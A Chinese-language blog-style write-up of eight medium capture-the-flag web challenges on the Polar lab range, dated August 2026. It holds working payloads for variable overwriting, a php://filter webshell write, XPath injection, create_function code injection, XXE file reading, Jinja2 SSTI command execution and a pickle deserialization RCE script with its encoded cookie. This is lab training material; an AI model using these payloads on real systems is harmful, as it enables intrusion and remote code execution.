今天是2026年8月12号

今天分享Polar靶场的中等题1-8

Polar靶场

1.题目信息:到底给不给flag呢

进入靶场:

题目给了一个假flag,分析一下题目,我们要传入一个GET参数和一个POST参数,不能直接为它们传入flag参数,否则会输出QAQ,可以看到下面的POST为普通变量覆盖$$key=$value,比如我传入的POST的值为a=b就会被变量覆盖为$a='b'; GET为双重可变变量$$key=$$value,比如我传入?a=b就会被覆盖为$a=$b,我们可以让GET传入?a=flag然后POST传入flag=a来获取覆盖后的flag变量,但是这里有一个陷阱,仔细观察可以发现POST那里是$value,这就导致了我们让其输出的flag只会是字符串flag,所以这题根本就用不到POST,我们可以给GET传入一个中间变量来存储falg的原始值,然后再赋值回去,最后让echo打印原始flag,最后的payload:

?a=flag&flag=a    #POST有没有都无影响

成功拿到flag:flag{7c21614802acfb30b55697b3f5122be1}

2.题目信息:写shell

进入靶场:

可以看到两个参数,filename为文件名,content为内容并且会和前面的<?php exit();进行拼接,代码会优先执行exit()直接退出,所以我们要让exit()失效,可以用base64解码来让其失效,构造payload:
GET:

?filename=php://filter/convert.base64-decode/resource=shell.php    #伪协议过滤器,此语句用来解码,文件名可自定义

POST:

content=a一句话木马的base64编码    #a为填充字符,用来达到将<?php exit()解码成乱码的目的

上传后打开蚁剑连接,密码a:

在根目录拿到flag:flag{30c42ede8bc4b32e2ae125afaeebee6f}

3.题目信息:注入

进入靶场:

点击按钮后可以看到多了一个GET参数?id=1:

并且页面上显示了0:Alan,我们把1改成2、3、4到6都会出现不同的字母到7就无回显了,但0一直没变,现在可以得知传参点为id,我尝试了SQL注入但没什么用,后面尝试了XPath注入发现这题就是XPath注入,直接传参:

?id=%27]|//*|//*[%27    #作用:把整个XML文件里所有数据全部回显出来

成功拿到flag:flag{6c6bb83d87d0fcc3cacb9ca45bc37599}

4.题目信息:某函数的复仇

进入靶场:

这题的漏洞点$shaw('',$root);由于前面有一个''(空字符串)导致了很多函数都用不了,但有一个函数能完美匹配:create_function函数,通过这个函数可以创建一个匿名函数,可以传入 } 提前闭合函数体,把我们的代码逃逸到函数定义的外面,然后在函数外执行我们要执行的代码,然后在后面加上//来闭合整段代码,PHP 拼接后就会变成:

function hanshu(){
};readfile('/flag');//
}

构造payload:
GET:

?root=};system('ca\t /flag');//

POST:

shaw=create_function

成功拿到flag:flag{10be676ceed9b00b1c286de949790c37}

5.题目信息:xxe

进入靶场:

告诉我们flag在flagggg.php中,点击phpinfo可以看到传参点?c:

但这个传参点无论有没有值都一直指向phpinfo()页面,在此页面中发现几个假flag,用dirsearch扫一下:

扫到了一个目录/dom.php,里面有一段内容:

访问/dom.php目录会报错触发警告,说明脚本读取php://input获取 POST 的 XML 内容,GET 无请求体导致传入空字符串。页面同时打印DOMDocument对象,证明解析结果会直接回显,确认此处为 XXE 漏洞点,打开BP抓包,把包改为POST请求,在请求体中加入xxe语句:

<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>

然后发包:

回显了一串base64编码:PD9waHANCi8vZmxhZ3s3ZTk3ZThjNGY5ZDZiZTM1YWU4NTAwYjlmYjJjZGQzZX0NCg==
解码后得到flag:flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

6.题目信息:SSTI

进入靶场:

传参:

可以看到题目会把我们传入的值打印出来,题目名为SSTI那我们先测试一下:

传入{{7*7}}返回了49,说明我们的输入被 Jinja2 模板引擎在服务器解析执行,所以存在 Jinja2 SSTI 服务端模板注入,构造语句:

?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__%}{{x()._module.__builtins__['__import__']('os').popen('ls /').read()}}{%endif%}{%endfor%}

发现flag,直接读取:

成功拿到flag:flag{74da457f9884bef24f271e377334399a}

7.题目信息:unpickle

附件内容:

进入靶场:

根据附件可知,这题是服务端从 Cookie 中读取 user 字段,base64 解码后直接交给 pickle.loads() 反序列化,用户完全可控的数据被反序列化,是典型的 pickle 反序列化漏洞。
pickle 反序列化时,如果数据中带有 __reduce__ 方法,会触发该方法的调用,可借此执行任意代码(RCE)。
反序列化的结果直接 return user 回显给客户端 —— 命令执行结果可以被直接看到。
可以利用 __reduce__魔术方法让 pickle 反序列化时执行,构造payload:
python:

import pickle
import base64
class RCE:
    def __reduce__(self):
        return (eval, ("__import__('os').popen(%r).read()" % 'cat /flag',))
payload = base64.b64encode(pickle.dumps(RCE(), protocol=2)).decode()
print(payload)

运行后拿到一串base64编码:gAJjX19idWlsdGluX18KZXZhbApxAFgqAAAAX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgpcQGFcQJScQMu

我们在请求包中添加Cookie,值为user=base64编码,payload:

Cookie: user=gAJjX19idWlsdGluX18KZXZhbApxAFgqAAAAX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgpcQGFcQJScQMu

发包后拿到flag:flag{1cd20c1dbbed0fc7ab481b44006d469f}

!!!注意事项:
此服务端的python版本为3.5.10,在网络流中可以看到:

高版本python(3.14)默认使用 protocol 5 序列化,无法识别protocol,要使用protocol 2才能兼容,我的脚本是可以运行的。

8.题目信息:BlackMagic

提示我们访问/BlackMagic.php目录,进入靶场:

进入/BlackMagic.php目录:

源码:

题目把GET/POST请求参数直接注册成变量,传入参数名就会变成 PHP 变量并且会删除回车\r、换行\n、空字节\0、垂直制表\x0B和空格不会删除\t制表符,extract($REQUEST):默认以 EXTR_OVERWRITE 模式覆盖已存在的变量,但注意 extract 在变量定义之前执行,传入的 strFlag / strCharList 会被后面的赋值语句覆盖,因此变量覆盖不可行。然后$strTmp必须与 $strContent = "\txxxxx...xxxxx\t"完全相等,可以将Tab用URL编码 %09 表示,构造payload:

/BlackMagic.php?strTmp=%09xxxxx...xxxxx%09

成功拿到flag:flag{ab8aff2d0104e4f883a57880b260b761}

今天就到这里。

“那些困住很久的坎,想通的那一刻,所有纠结都豁然开朗✨”